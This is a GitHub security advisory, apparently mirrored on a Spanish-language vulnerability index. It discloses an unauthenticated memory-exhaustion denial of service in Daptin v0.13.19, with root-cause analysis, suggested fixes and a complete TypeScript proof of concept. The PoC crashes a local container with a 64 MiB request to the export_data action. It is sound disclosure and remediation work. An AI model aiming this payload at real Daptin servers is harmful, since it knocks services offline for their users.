GHSA-WMJM-65Q2-7F5C
Unauthenticated denial of service via pre-authorization action body buffering
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-WMJM-65Q2-7F5C divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche v0.13.27 | github.com/daptin/daptin · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Daptin `v0.13.19` reads an unlimited action request body and retains multiple full in-memory representations before resolving the action or checking whether the caller may execute it. An unauthenticated client can therefore terminate Daptin with a large request sent to an administrator-only action.
In three isolated trials with a 256 MiB container limit, a 67,108,914-byte request to `POST /action/world/export_data` OOM-killed the official `v0.13.19` container with exit code 137. A 1 MiB request from the same unauthenticated caller returned the expected HTTP 403 in every trial.
Details
Affected release
The affected package version is `v0.13.19`, commit `8a7530cd855205dcf9d6517e92f36cd2ca36a591` https://github.com/daptin/daptin/commit/8a7530cd855205dcf9d6517e92f36cd2ca36a591. This was the latest tagged release when tested. The same unbounded read was present in v0.13.18 and remained through v0.13.26. Version v0.13.27 contains the fix.
The official image used below is pinned by digest and identifies that exact release commit:
daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574ePreconditions
- Network access to Daptin's default HTTP listener.
- No account, token, custom schema, or feature flag is required.
Root cause
The generic action handler calls `BuildActionRequest` before it opens its transaction, resolves the requested action, or checks action permissions:
- `server/resource/handle_action.go` lines 92-121
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/handle_action.go#L92-L121
`BuildActionRequest` uses unbounded `io.ReadAll`, retains both the byte slice and a complete string, and parses the body more than once:
- `server/resource/handle_action.go` lines 1022-1060
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/handle_action.go#L1022-L1060
Only after this work does Daptin load the action and enforce row, table, and action execute permissions:
- `server/resource/handle_action.go` lines 257-307
https://github.com/daptin/daptin/blob/8a7530cd855205dcf9d6517e92f36cd2ca36a591/server/resource/handle_action.go#L257-L307
The route has no application-level request-body limit. The finding does not claim an authorization bypass; the small-request control confirms the caller is denied.
Suggested remediation
- Enforce a configurable global request-body limit before action handlers and return HTTP 413 when exceeded.
- Resolve the action and reject unauthorized callers before consuming its body where route metadata is sufficient.
- Parse once from a bounded stream instead of retaining complete byte and string copies.
- Give legitimate upload/import actions explicit, separately configurable limits.
- Add a regression test proving an oversized unauthorized request cannot materially increase memory and `/ping` stays available.
PoC
Prerequisites: Docker and Bun. Save the following as `f003.ts`.
<!-- BEGIN EMBEDDED POC -->
const image = "daptin/daptin@sha256:459f33791db685c38524644e0d94364b84e22d6ba11deff7fcea1efb0382574e";
const trials = Number(Bun.env.TRIALS ?? "1");
if (!Number.isInteger(trials) || trials < 1 || trials > 10) {
throw new Error("TRIALS must be an integer from 1 to 10");
}
async function docker(args: string[], allowFailure = false) {
const child = Bun.spawn(["docker", ...args], { stdout: "pipe", stderr: "pipe" });
const [stdout, stderr, exitCode] = await Promise.all([
new Response(child.stdout).text(),
new Response(child.stderr).text(),
child.exited,
]);
if (exitCode !== 0 && !allowFailure) {
throw new Error(`docker ${args[0]} failed (${exitCode}): ${stderr.trim()}`);
}
return { stdout: stdout.trim(), stderr: stderr.trim(), exitCode };
}
async function waitForReady(baseUrl: string) {
for (let attempt = 0; attempt < 160; attempt += 1) {
try {
if ((await fetch(`${baseUrl}/ping`)).status === 200) return;
} catch {}
await Bun.sleep(250);
}
throw new Error("Daptin did not become ready");
}
async function sendDeniedAction(baseUrl: string, payloadMiB: number) {
const body = JSON.stringify({
attributes: {
table_name: "world",
padding: "A".repeat(payloadMiB * 1024 * 1024),
},
});
try {
const response = await fetch(`${baseUrl}/action/world/export_data`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body,
});
return {
requestBytes: new TextEncoder().encode(body).byteLength,
status: response.status,
responseBytes: (await response.bytes()).byteLength,
};
} catch (error) {
return {
requestBytes: new TextEncoder().encode(body).byteLength,
error: error instanceof Error ? error.message : String(error),
};
}
}
async function inspect(name: string) {
const result = await docker(["inspect", name, "--format", "{{json .State}}"]);
return JSON.parse(result.stdout);
}
const results = [];
for (let index = 0; index < trials; index += 1) {
const name = `daptin-f003-${Date.now()}-${index}`;
await docker([
"run", "-d", "--name", name,
"--memory", "256m", "--memory-swap", "256m",
"--security-opt", "no-new-privileges:true",
"-e", "DAPTIN_DISABLE_SMTP=true",
"-p", "127.0.0.1::8080",
"--tmpfs", "/var/lib/daptin:rw,size=64m,uid=10001,gid=10001,mode=0750",
image,
]);
try {
const portOutput = await docker(["port", name, "8080/tcp"]);
const port = portOutput.stdout.match(/127\.0\.0\.1:(\d+)/)?.[1];
if (!port) throw new Error(`Unexpected port output: ${portOutput.stdout}`);
const baseUrl = `http://127.0.0.1:${port}`;
await waitForReady(baseUrl);
const control = await sendDeniedAction(baseUrl, 1);
const attack = await sendDeniedAction(baseUrl, 64);
let state = await inspect(name);
for (let attempt = 0; state.Running && attempt < 40; attempt += 1) {
await Bun.sleep(250);
state = await inspect(name);
}
results.push({ trial: index + 1, control, attack, state });
} finally {
await docker(["rm", "-f", name], true);
}
}
const reproduced = results.every((result) =>
result.control.status === 403 &&
result.state.OOMKilled === true &&
result.state.ExitCode === 137
);
console.log(JSON.stringify({ image, memoryLimitMiB: 256, results, reproduced }, null, 2));
if (!reproduced) process.exitCode = 1;<!-- END EMBEDDED POC -->
Run three isolated trials:
TRIALS=3 bun f003.tsThe script binds Daptin only to a random `127.0.0.1` port and removes each exact container. A successful run exits 0 with `"reproduced": true`; each 1 MiB control returns HTTP 403 and each 64 MiB attack leaves the container `OOMKilled: true` with exit code 137.
Impact
Any remote unauthenticated client can terminate the Daptin process before authorization completes. Repeating the request after restart can sustain complete service unavailability. Deployments with more memory require a larger body or parallel requests, but Daptin imposes no bound and makes multiple full-size allocations.
No authorization bypass, confidentiality impact, or integrity impact was demonstrated.
Reported by Omoikane Labs https://github.com/Omoikane-Labs. Requested credit: ffasterss https://github.com/ffasterss and shirabe0x05 https://github.com/shirabe0x05.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.13.27 | 0 d | v0.13.57 no afectada |
0.13.27v0.13.27Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/daptin/daptin/security/advisories/GHSA-wmjm-65q2-7f5cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
